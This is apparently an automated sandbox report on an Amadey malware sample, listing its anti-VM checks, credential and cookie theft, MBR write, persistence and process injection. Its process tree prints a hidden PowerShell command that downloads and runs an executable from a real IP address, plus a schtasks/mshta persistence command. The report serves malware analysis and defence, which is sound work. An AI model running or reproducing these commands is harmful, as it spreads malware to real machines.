amadey | ddda70cdab79b119b205e60921ba6048887312cdd47741f9259fc4bc0c83a18a

Virtualization/Sandbox Evasion

credential_access stealer

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	ViGgA8C.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	d2YQIJa.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	spoDnGT.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	3omTNLZ.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Fe36XBk.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	sHN20me.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	m5UP2Yj.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	oVpNTUm.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	hntw.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	TempYXS8SHZMOTWVBNFB3BUSXEQAPTV944NZ.EXE

Blocklisted process makes network request 64 IoCs

flow	pid	Process
1	1476	powershell.exe
55	4760	powershell.exe
58	4760	powershell.exe
68	4760	powershell.exe
69	4760	powershell.exe
75	4760	powershell.exe
83	4760	powershell.exe
84	4760	powershell.exe
85	4760	powershell.exe
86	4760	powershell.exe
89	4760	powershell.exe
96	4760	powershell.exe
99	4760	powershell.exe
100	4760	powershell.exe
101	4760	powershell.exe
102	4760	powershell.exe
103	4760	powershell.exe
104	4760	powershell.exe
105	4760	powershell.exe
107	4760	powershell.exe
108	4760	powershell.exe
109	4760	powershell.exe
110	4760	powershell.exe
111	4760	powershell.exe
112	4760	powershell.exe
113	4760	powershell.exe
114	4760	powershell.exe
129	4760	powershell.exe
131	4760	powershell.exe
134	4760	powershell.exe
156	4760	powershell.exe
159	4760	powershell.exe
161	4760	powershell.exe
163	4760	powershell.exe
164	4760	powershell.exe
165	4760	powershell.exe
167	4760	powershell.exe
170	4760	powershell.exe
176	4760	powershell.exe
180	4760	powershell.exe
183	4760	powershell.exe
185	4760	powershell.exe
187	4760	powershell.exe
201	4760	powershell.exe
208	4760	powershell.exe
214	4760	powershell.exe
216	4760	powershell.exe
217	4760	powershell.exe
225	4760	powershell.exe
226	4760	powershell.exe
230	4760	powershell.exe
234	4760	powershell.exe
238	4760	powershell.exe
241	4760	powershell.exe
251	4760	powershell.exe
253	4760	powershell.exe
256	4760	powershell.exe
258	4760	powershell.exe
259	4760	powershell.exe
260	4760	powershell.exe
263	4760	powershell.exe
266	4760	powershell.exe
267	4760	powershell.exe
269	4760	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1912	powershell.exe
1476	powershell.exe
3240	powershell.exe

Detects GOST tunneling tool 1 IoCs

A simple tunneling tool written in Golang

resource	yara_rule
behavioral3/files/0x0013000000027e17-632.dat	Gost

Downloads MZ/PE file 18 IoCs

flow	pid	Process
6	5004	skotes.exe
6	5004	skotes.exe
6	5004	skotes.exe
6	5004	skotes.exe
6	5004	skotes.exe
6	5004	skotes.exe
6	5004	skotes.exe
6	5004	skotes.exe
6	5004	skotes.exe
6	5004	skotes.exe
6	5004	skotes.exe
6	5004	skotes.exe
6	5004	skotes.exe
6	5004	skotes.exe
6	5004	skotes.exe
6	5004	skotes.exe
1	1476	powershell.exe
270	5004	skotes.exe

Uses browser remote debugging 2 TTPs 4 IoCs

Can be used control the browser and steal sensitive information such as credentials and session cookies.

Steal Web Session Cookie

T1539

Modify Authentication Process

pid	Process
2808	chrome.exe
188	chrome.exe
2872	chrome.exe
3996	chrome.exe

Checks BIOS information in registry 2 TTPs 26 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	spoDnGT.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	m5UP2Yj.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	3omTNLZ.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Fe36XBk.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	d2YQIJa.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	d2YQIJa.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	oVpNTUm.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	3omTNLZ.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	hntw.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	TempYXS8SHZMOTWVBNFB3BUSXEQAPTV944NZ.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	ViGgA8C.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	sHN20me.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	hntw.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	spoDnGT.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	m5UP2Yj.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	oVpNTUm.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	TempYXS8SHZMOTWVBNFB3BUSXEQAPTV944NZ.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Fe36XBk.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	ViGgA8C.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	sHN20me.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1639757381-2759246526-4253643256-1000\Control Panel\International\Geo\Nation	TempYXS8SHZMOTWVBNFB3BUSXEQAPTV944NZ.EXE
Key value queried	\REGISTRY\USER\S-1-5-21-1639757381-2759246526-4253643256-1000\Control Panel\International\Geo\Nation	skotes.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1639757381-2759246526-4253643256-1000\Control Panel\International\Geo\Nation	mshta.exe

Drops startup file 3 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MyPayload.bat	powershell.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\google_updates.lnk	C3hYpvm.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\google_updates.lnk	C3hYpvm.exe

Executes dropped EXE 27 IoCs

pid	Process
4836	TempYXS8SHZMOTWVBNFB3BUSXEQAPTV944NZ.EXE
5004	skotes.exe
2504	800d760761.exe
3772	800d760761.exe
5076	13Z5sqy.exe
3536	jonbDes.exe
3288	Bjkm5hE.exe
1152	Bjkm5hE.exe
4236	Bjkm5hE.exe
3016	Bjkm5hE.exe
3792	Fe36XBk.exe
632	ViGgA8C.exe
4736	skotes.exe
4604	DTQCxXZ.exe
3412	TaVOM7x.exe
4032	d2YQIJa.exe
3140	sHN20me.exe
4420	spoDnGT.exe
4356	m5UP2Yj.exe
3244	7aencsM.exe
3984	7aencsM.exe
4024	C3hYpvm.exe
1672	oVpNTUm.exe
5508	3omTNLZ.exe
5788	hntw.exe
6040	skotes.exe
6128	dzvh4HC.exe

Identifies Wine through registry keys 2 TTPs 13 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

defense_evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1639757381-2759246526-4253643256-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-1639757381-2759246526-4253643256-1000\Software\Wine	TempYXS8SHZMOTWVBNFB3BUSXEQAPTV944NZ.EXE
Key opened	\REGISTRY\USER\S-1-5-21-1639757381-2759246526-4253643256-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-1639757381-2759246526-4253643256-1000\Software\Wine	d2YQIJa.exe
Key opened	\REGISTRY\USER\S-1-5-21-1639757381-2759246526-4253643256-1000\Software\Wine	sHN20me.exe
Key opened	\REGISTRY\USER\S-1-5-21-1639757381-2759246526-4253643256-1000\Software\Wine	3omTNLZ.exe
Key opened	\REGISTRY\USER\S-1-5-21-1639757381-2759246526-4253643256-1000\Software\Wine	hntw.exe
Key opened	\REGISTRY\USER\S-1-5-21-1639757381-2759246526-4253643256-1000\Software\Wine	Fe36XBk.exe
Key opened	\REGISTRY\USER\S-1-5-21-1639757381-2759246526-4253643256-1000\Software\Wine	ViGgA8C.exe
Key opened	\REGISTRY\USER\S-1-5-21-1639757381-2759246526-4253643256-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-1639757381-2759246526-4253643256-1000\Software\Wine	spoDnGT.exe
Key opened	\REGISTRY\USER\S-1-5-21-1639757381-2759246526-4253643256-1000\Software\Wine	m5UP2Yj.exe
Key opened	\REGISTRY\USER\S-1-5-21-1639757381-2759246526-4253643256-1000\Software\Wine	oVpNTUm.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1639757381-2759246526-4253643256-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\google_updates = "C:\\Users\\Admin\\AppData\\Roaming\\google_updates.exe"	C3hYpvm.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PHYSICALDRIVE0	Fe36XBk.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 13 IoCs

pid	Process
4836	TempYXS8SHZMOTWVBNFB3BUSXEQAPTV944NZ.EXE
5004	skotes.exe
3792	Fe36XBk.exe
632	ViGgA8C.exe
4736	skotes.exe
4032	d2YQIJa.exe
3140	sHN20me.exe
4420	spoDnGT.exe
4356	m5UP2Yj.exe
1672	oVpNTUm.exe
5508	3omTNLZ.exe
5788	hntw.exe
6040	skotes.exe

Suspicious use of SetThreadContext 5 IoCs

description	pid	Process	procid_target
PID 2504 set thread context of 3772	2504	800d760761.exe	93
PID 3288 set thread context of 3016	3288	Bjkm5hE.exe	104
PID 5076 set thread context of 3620	5076	13Z5sqy.exe	122
PID 3244 set thread context of 3984	3244	7aencsM.exe	126
PID 3412 set thread context of 5724	3412	TaVOM7x.exe	149

Drops file in Windows directory 4 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\hntw.job	oVpNTUm.exe
File opened for modification	C:\Windows\Tasks\hntw.job	oVpNTUm.exe
File created	C:\Windows\Tasks\skotes.job	TempYXS8SHZMOTWVBNFB3BUSXEQAPTV944NZ.EXE
File opened for modification	C:\Windows\SystemTemp	chrome.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 4 IoCs

pid	pid_target	Process	procid_target
1680	2504	WerFault.exe	91
3008	3288	WerFault.exe	101
4792	3244	WerFault.exe	125
4164	4356	WerFault.exe	124

System Location Discovery: System Language Discovery 1 TTPs 33 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	d2YQIJa.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BitLockerToGo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	800d760761.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hntw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TempYXS8SHZMOTWVBNFB3BUSXEQAPTV944NZ.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	spoDnGT.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sHN20me.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3omTNLZ.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	random.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	skotes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jonbDes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Bjkm5hE.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7aencsM.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	800d760761.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BitLockerToGo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7aencsM.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	13Z5sqy.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Fe36XBk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DTQCxXZ.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TaVOM7x.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	oVpNTUm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	m5UP2Yj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Bjkm5hE.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ViGgA8C.exe

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	7aencsM.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	7aencsM.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	m5UP2Yj.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	m5UP2Yj.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe

GoLang User-Agent 1 IoCs

Uses default user-agent string defined by GoLang HTTP packages.

description	flow	ioc
HTTP User-Agent header	264	Go-http-client/1.1

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133844551595720763"	chrome.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
4340	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1476	powershell.exe
1476	powershell.exe
4836	TempYXS8SHZMOTWVBNFB3BUSXEQAPTV944NZ.EXE
4836	TempYXS8SHZMOTWVBNFB3BUSXEQAPTV944NZ.EXE
5004	skotes.exe
5004	skotes.exe
3772	800d760761.exe
3772	800d760761.exe
3772	800d760761.exe
3772	800d760761.exe
3016	Bjkm5hE.exe
3016	Bjkm5hE.exe
3016	Bjkm5hE.exe
3016	Bjkm5hE.exe
3792	Fe36XBk.exe
3792	Fe36XBk.exe
1912	powershell.exe
1912	powershell.exe
4760	powershell.exe
4760	powershell.exe
3240	powershell.exe
3240	powershell.exe
632	ViGgA8C.exe
632	ViGgA8C.exe
4736	skotes.exe
4736	skotes.exe
4604	DTQCxXZ.exe
4604	DTQCxXZ.exe
4604	DTQCxXZ.exe
4604	DTQCxXZ.exe
632	ViGgA8C.exe
632	ViGgA8C.exe
4032	d2YQIJa.exe
4032	d2YQIJa.exe
4032	d2YQIJa.exe
4032	d2YQIJa.exe
4032	d2YQIJa.exe
4032	d2YQIJa.exe
3140	sHN20me.exe
3140	sHN20me.exe
3140	sHN20me.exe
3140	sHN20me.exe
3140	sHN20me.exe
3140	sHN20me.exe
4420	spoDnGT.exe
4420	spoDnGT.exe
4420	spoDnGT.exe
4420	spoDnGT.exe
4420	spoDnGT.exe
4420	spoDnGT.exe
4356	m5UP2Yj.exe
4356	m5UP2Yj.exe
4356	m5UP2Yj.exe
4356	m5UP2Yj.exe
3984	7aencsM.exe
3984	7aencsM.exe
3984	7aencsM.exe
3984	7aencsM.exe
2808	chrome.exe
2808	chrome.exe
4024	C3hYpvm.exe
4024	C3hYpvm.exe
1672	oVpNTUm.exe
1672	oVpNTUm.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs

pid	Process
2808	chrome.exe
2808	chrome.exe
2808	chrome.exe

Suspicious use of AdjustPrivilegeToken 20 IoCs

description	pid	Process
Token: SeDebugPrivilege	1476	powershell.exe
Token: SeDebugPrivilege	1912	powershell.exe
Token: SeDebugPrivilege	4760	powershell.exe
Token: SeDebugPrivilege	3240	powershell.exe
Token: SeDebugPrivilege	632	ViGgA8C.exe
Token: SeDebugPrivilege	4024	C3hYpvm.exe
Token: SeShutdownPrivilege	2808	chrome.exe
Token: SeCreatePagefilePrivilege	2808	chrome.exe
Token: SeShutdownPrivilege	2808	chrome.exe
Token: SeCreatePagefilePrivilege	2808	chrome.exe
Token: SeShutdownPrivilege	2808	chrome.exe
Token: SeCreatePagefilePrivilege	2808	chrome.exe
Token: SeShutdownPrivilege	2808	chrome.exe
Token: SeCreatePagefilePrivilege	2808	chrome.exe
Token: SeShutdownPrivilege	2808	chrome.exe
Token: SeCreatePagefilePrivilege	2808	chrome.exe
Token: SeShutdownPrivilege	2808	chrome.exe
Token: SeCreatePagefilePrivilege	2808	chrome.exe
Token: SeShutdownPrivilege	2808	chrome.exe
Token: SeCreatePagefilePrivilege	2808	chrome.exe

Suspicious use of FindShellTrayWindow 29 IoCs

pid	Process
5080	random.exe
5080	random.exe
5080	random.exe
2808	chrome.exe
2808	chrome.exe
2808	chrome.exe
2808	chrome.exe
2808	chrome.exe
2808	chrome.exe
2808	chrome.exe
2808	chrome.exe
2808	chrome.exe
2808	chrome.exe
2808	chrome.exe
2808	chrome.exe
2808	chrome.exe
2808	chrome.exe
2808	chrome.exe
2808	chrome.exe
2808	chrome.exe
2808	chrome.exe
2808	chrome.exe
2808	chrome.exe
2808	chrome.exe
2808	chrome.exe
2808	chrome.exe
2808	chrome.exe
2808	chrome.exe
2808	chrome.exe

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
5080	random.exe
5080	random.exe
5080	random.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4024	C3hYpvm.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5080 wrote to memory of 1764	5080	random.exe	83
PID 5080 wrote to memory of 1764	5080	random.exe	83
PID 5080 wrote to memory of 1764	5080	random.exe	83
PID 5080 wrote to memory of 5012	5080	random.exe	84
PID 5080 wrote to memory of 5012	5080	random.exe	84
PID 5080 wrote to memory of 5012	5080	random.exe	84
PID 1764 wrote to memory of 4340	1764	cmd.exe	86
PID 1764 wrote to memory of 4340	1764	cmd.exe	86
PID 1764 wrote to memory of 4340	1764	cmd.exe	86
PID 5012 wrote to memory of 1476	5012	mshta.exe	87
PID 5012 wrote to memory of 1476	5012	mshta.exe	87
PID 5012 wrote to memory of 1476	5012	mshta.exe	87
PID 1476 wrote to memory of 4836	1476	powershell.exe	89
PID 1476 wrote to memory of 4836	1476	powershell.exe	89
PID 1476 wrote to memory of 4836	1476	powershell.exe	89
PID 4836 wrote to memory of 5004	4836	TempYXS8SHZMOTWVBNFB3BUSXEQAPTV944NZ.EXE	90
PID 4836 wrote to memory of 5004	4836	TempYXS8SHZMOTWVBNFB3BUSXEQAPTV944NZ.EXE	90
PID 4836 wrote to memory of 5004	4836	TempYXS8SHZMOTWVBNFB3BUSXEQAPTV944NZ.EXE	90
PID 5004 wrote to memory of 2504	5004	skotes.exe	91
PID 5004 wrote to memory of 2504	5004	skotes.exe	91
PID 5004 wrote to memory of 2504	5004	skotes.exe	91
PID 2504 wrote to memory of 3772	2504	800d760761.exe	93
PID 2504 wrote to memory of 3772	2504	800d760761.exe	93
PID 2504 wrote to memory of 3772	2504	800d760761.exe	93
PID 2504 wrote to memory of 3772	2504	800d760761.exe	93
PID 2504 wrote to memory of 3772	2504	800d760761.exe	93
PID 2504 wrote to memory of 3772	2504	800d760761.exe	93
PID 2504 wrote to memory of 3772	2504	800d760761.exe	93
PID 2504 wrote to memory of 3772	2504	800d760761.exe	93
PID 2504 wrote to memory of 3772	2504	800d760761.exe	93
PID 5004 wrote to memory of 5076	5004	skotes.exe	99
PID 5004 wrote to memory of 5076	5004	skotes.exe	99
PID 5004 wrote to memory of 5076	5004	skotes.exe	99
PID 5004 wrote to memory of 3536	5004	skotes.exe	100
PID 5004 wrote to memory of 3536	5004	skotes.exe	100
PID 5004 wrote to memory of 3536	5004	skotes.exe	100
PID 5004 wrote to memory of 3288	5004	skotes.exe	101
PID 5004 wrote to memory of 3288	5004	skotes.exe	101
PID 5004 wrote to memory of 3288	5004	skotes.exe	101
PID 3288 wrote to memory of 1152	3288	Bjkm5hE.exe	102
PID 3288 wrote to memory of 1152	3288	Bjkm5hE.exe	102
PID 3288 wrote to memory of 1152	3288	Bjkm5hE.exe	102
PID 3288 wrote to memory of 4236	3288	Bjkm5hE.exe	103
PID 3288 wrote to memory of 4236	3288	Bjkm5hE.exe	103
PID 3288 wrote to memory of 4236	3288	Bjkm5hE.exe	103
PID 3288 wrote to memory of 3016	3288	Bjkm5hE.exe	104
PID 3288 wrote to memory of 3016	3288	Bjkm5hE.exe	104
PID 3288 wrote to memory of 3016	3288	Bjkm5hE.exe	104
PID 3288 wrote to memory of 3016	3288	Bjkm5hE.exe	104
PID 3288 wrote to memory of 3016	3288	Bjkm5hE.exe	104
PID 3288 wrote to memory of 3016	3288	Bjkm5hE.exe	104
PID 3288 wrote to memory of 3016	3288	Bjkm5hE.exe	104
PID 3288 wrote to memory of 3016	3288	Bjkm5hE.exe	104
PID 3288 wrote to memory of 3016	3288	Bjkm5hE.exe	104
PID 5004 wrote to memory of 3792	5004	skotes.exe	107
PID 5004 wrote to memory of 3792	5004	skotes.exe	107
PID 5004 wrote to memory of 3792	5004	skotes.exe	107
PID 5004 wrote to memory of 1912	5004	skotes.exe	108
PID 5004 wrote to memory of 1912	5004	skotes.exe	108
PID 5004 wrote to memory of 1912	5004	skotes.exe	108
PID 1912 wrote to memory of 1692	1912	powershell.exe	110
PID 1912 wrote to memory of 1692	1912	powershell.exe	110
PID 1912 wrote to memory of 1692	1912	powershell.exe	110
PID 1692 wrote to memory of 3156	1692	cmd.exe	112

C:\Users\Admin\AppData\Local\Temp\random.exe
"C:\Users\Admin\AppData\Local\Temp\random.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:5080
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /create /tn xbkwfmacM0W /tr "mshta C:\Users\Admin\AppData\Local\Temp\vGn4DKnt6.hta" /sc minute /mo 25 /ru "Admin" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1764
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn xbkwfmacM0W /tr "mshta C:\Users\Admin\AppData\Local\Temp\vGn4DKnt6.hta" /sc minute /mo 25 /ru "Admin" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:4340
- C:\Windows\SysWOW64\mshta.exe
  mshta C:\Users\Admin\AppData\Local\Temp\vGn4DKnt6.hta
  2⤵
  - Checks computer location settings
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5012
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'YXS8SHZMOTWVBNFB3BUSXEQAPTV944NZ.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/mine/random.exe',$d);Start-Process $d;
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Downloads MZ/PE file
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1476
  - - C:\Users\Admin\AppData\Local\TempYXS8SHZMOTWVBNFB3BUSXEQAPTV944NZ.EXE
      "C:\Users\Admin\AppData\Local\TempYXS8SHZMOTWVBNFB3BUSXEQAPTV944NZ.EXE"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Checks computer location settings
      Executes dropped EXE
      Identifies Wine through registry keys
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:4836
    - - C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
        
        "C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Downloads MZ/PE file
        Checks BIOS information in registry
        Checks computer location settings
